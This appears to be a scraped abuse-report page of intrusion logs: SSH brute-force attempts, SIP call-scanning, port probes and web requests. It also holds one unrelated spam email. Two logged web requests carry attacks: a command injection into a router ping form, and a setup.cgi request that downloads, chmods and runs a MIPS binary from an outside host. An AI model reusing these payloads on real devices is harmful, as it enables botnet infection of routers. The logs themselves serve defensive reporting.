Jun 10 08:48:37 debian-2gb-nbg1-2 kernel: \[14030449.323354\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=37.49.226.173 DST=195.201.40.59 LEN=48 TOS=0x00 PREC=0x00 TTL=119 ID=10076 PROTO=TCP SPT=15039 DPT=22 WINDOW=65535 RES=0x00 SYN URGP=0

(sshd) Failed SSH login from 37.49.226.173 (NL/Netherlands/-): 2 in the last 3600 secs; Ports: *; Direction: inout; Trigger: LF_SSHD; Logs: Jun  8 00:59:20 ubnt-55d23 sshd[30852]: Did not receive identification string from 37.49.226.173 port 50204
Jun  8 00:59:30 ubnt-55d23 sshd[30853]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

07.06.2020 16:59:11 SSH access blocked by firewall

...

Jun  3 05:37:16 hcbbdb sshd\[28295\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
Jun  3 05:37:18 hcbbdb sshd\[28295\]: Failed password for root from 37.49.226.173 port 57104 ssh2
Jun  3 05:37:46 hcbbdb sshd\[28334\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
Jun  3 05:37:48 hcbbdb sshd\[28334\]: Failed password for root from 37.49.226.173 port 33766 ssh2
Jun  3 05:38:15 hcbbdb sshd\[28393\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

2020-05-27T17:43:27.699958  sshd[29353]: Invalid user oracle from 37.49.226.173 port 49008
2020-05-27T17:43:27.712838  sshd[29353]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173
2020-05-27T17:43:27.699958  sshd[29353]: Invalid user oracle from 37.49.226.173 port 49008
2020-05-27T17:43:30.144963  sshd[29353]: Failed password for invalid user oracle from 37.49.226.173 port 49008 ssh2
...

May 26 08:32:34 sigma sshd\[4707\]: Invalid user oracle from 37.49.226.173May 26 08:32:36 sigma sshd\[4707\]: Failed password for invalid user oracle from 37.49.226.173 port 49692 ssh2
...

May 24 17:16:41 gitlab-ci sshd\[32224\]: Invalid user oracle from 37.49.226.173May 24 17:17:01 gitlab-ci sshd\[32239\]: Invalid user guest from 37.49.226.173
...

2020-05-22T10:08:16.105245abusebot-8.cloudsearch.cf sshd[3523]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:18.572401abusebot-8.cloudsearch.cf sshd[3523]: Failed password for root from 37.49.226.173 port 37509 ssh2
2020-05-22T10:08:34.054278abusebot-8.cloudsearch.cf sshd[3539]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:36.325690abusebot-8.cloudsearch.cf sshd[3539]: Failed password for root from 37.49.226.173 port 58533 ssh2
2020-05-22T10:08:53.690160abusebot-8.cloudsearch.cf sshd[3557]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
2020-05-22T10:08:55.901656abusebot-8.cloudsearch.cf sshd[3557]: Failed password for root from 37.49.226.173 port 51342 ssh2
2020-05-22T10:09:12.300622abusebot-8.cloudsearch.cf sshd[3576]: pam_unix(sshd:auth): authenticati
...

Invalid user user from 37.49.226.173 port 34737

May 15 00:25:43 ns382633 sshd\[1044\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
May 15 00:25:45 ns382633 sshd\[1044\]: Failed password for root from 37.49.226.173 port 53826 ssh2
May 15 00:26:08 ns382633 sshd\[1099\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root
May 15 00:26:11 ns382633 sshd\[1099\]: Failed password for root from 37.49.226.173 port 49036 ssh2
May 15 00:26:33 ns382633 sshd\[1123\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.173  user=root

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Sep 24 06:49:20 OPSO sshd\[13573\]: Invalid user w from 218.240.149.5 port 47440
Sep 24 06:49:20 OPSO sshd\[13573\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.240.149.5
Sep 24 06:49:22 OPSO sshd\[13573\]: Failed password for invalid user w from 218.240.149.5 port 47440 ssh2
Sep 24 06:51:51 OPSO sshd\[14279\]: Invalid user user from 218.240.149.5 port 37284
Sep 24 06:51:51 OPSO sshd\[14279\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.240.149.5

Sep 24 07:55:42 lnxded63 sshd[8137]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=117.80.212.113

Sep 24 09:01:23 dedicated sshd[7599]: Invalid user gpadmin from 93.42.117.137 port 49808

Sep 23 21:33:24 php1 sshd\[21971\]: Invalid user benny from 217.182.158.104
Sep 23 21:33:24 php1 sshd\[21971\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.182.158.104
Sep 23 21:33:26 php1 sshd\[21971\]: Failed password for invalid user benny from 217.182.158.104 port 23897 ssh2
Sep 23 21:37:07 php1 sshd\[22271\]: Invalid user elena from 217.182.158.104
Sep 23 21:37:07 php1 sshd\[22271\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=217.182.158.104

Unauthorised access (Sep 24) SRC=125.43.26.200 LEN=40 TTL=49 ID=5724 TCP DPT=8080 WINDOW=57848 SYN 
Unauthorised access (Sep 23) SRC=125.43.26.200 LEN=40 TTL=49 ID=32285 TCP DPT=8080 WINDOW=9066 SYN 
Unauthorised access (Sep 23) SRC=125.43.26.200 LEN=40 TTL=49 ID=41203 TCP DPT=8080 WINDOW=9066 SYN 
Unauthorised access (Sep 23) SRC=125.43.26.200 LEN=40 TTL=49 ID=64686 TCP DPT=8080 WINDOW=9066 SYN

Sep 24 09:26:42 MK-Soft-VM4 sshd[14594]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=190.211.141.217 
Sep 24 09:26:44 MK-Soft-VM4 sshd[14594]: Failed password for invalid user inmate from 190.211.141.217 port 12236 ssh2
...

Sep 24 03:10:53 xtremcommunity sshd\[421762\]: Invalid user smolik from 37.230.112.50 port 37870
Sep 24 03:10:53 xtremcommunity sshd\[421762\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.230.112.50
Sep 24 03:10:55 xtremcommunity sshd\[421762\]: Failed password for invalid user smolik from 37.230.112.50 port 37870 ssh2
Sep 24 03:15:10 xtremcommunity sshd\[421869\]: Invalid user debug from 37.230.112.50 port 37448
Sep 24 03:15:10 xtremcommunity sshd\[421869\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.230.112.50
...

Sep 24 07:10:30 taivassalofi sshd[104305]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=159.203.82.104
Sep 24 07:10:32 taivassalofi sshd[104305]: Failed password for invalid user hlds from 159.203.82.104 port 44689 ssh2
...

Sep 24 06:33:00 venus sshd\[702\]: Invalid user ha from 123.55.87.213 port 12128
Sep 24 06:33:00 venus sshd\[702\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=123.55.87.213
Sep 24 06:33:02 venus sshd\[702\]: Failed password for invalid user ha from 123.55.87.213 port 12128 ssh2
...

(From JustinHoward336@hotmail.com) Hi there

If you've been struggling to get more clients open to new ideas, I'm here to help you out. If you've been dreaming of a beautiful and business efficient website that can generate a massive amount of profit, I'll help you get that. I'm a freelance web designer who's been helping many businesses grow in the past 10 years. I'm all about flexibility and I'm sure we can work something out with your budget.

I'd love to share more information about my services during a free consultation. I'm pretty sure you've got a lot of questions for me too, so please write back to let me know when you're free to be contacted. I look forward to speaking with you. 

Warmest regards,
Justin Howard

2019-09-24T07:32:07.186450abusebot.cloudsearch.cf sshd\[31434\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=chomsky.torservers.net  user=root

Sep 24 08:37:56 MK-Soft-Root2 sshd[8348]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.203.76.32 
Sep 24 08:37:59 MK-Soft-Root2 sshd[8348]: Failed password for invalid user install from 116.203.76.32 port 36192 ssh2
...

WordPress XMLRPC scan :: 49.145.110.24 0.140 BYPASS [24/Sep/2019:13:53:53  1000] [censored_1] "GET /xmlrpc.php HTTP/1.1" 405 53 "-" "Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1"

Unauthorised access (Sep 24) SRC=42.84.213.61 LEN=40 TTL=49 ID=55261 TCP DPT=8080 WINDOW=18453 SYN 
Unauthorised access (Sep 22) SRC=42.84.213.61 LEN=40 TTL=49 ID=14238 TCP DPT=8080 WINDOW=2645 SYN

Sep 24 08:50:11 core sshd[14964]: Failed password for sync from 62.48.150.175 port 59334 ssh2
Sep 24 08:54:50 core sshd[20737]: Invalid user kravi from 62.48.150.175 port 46804
...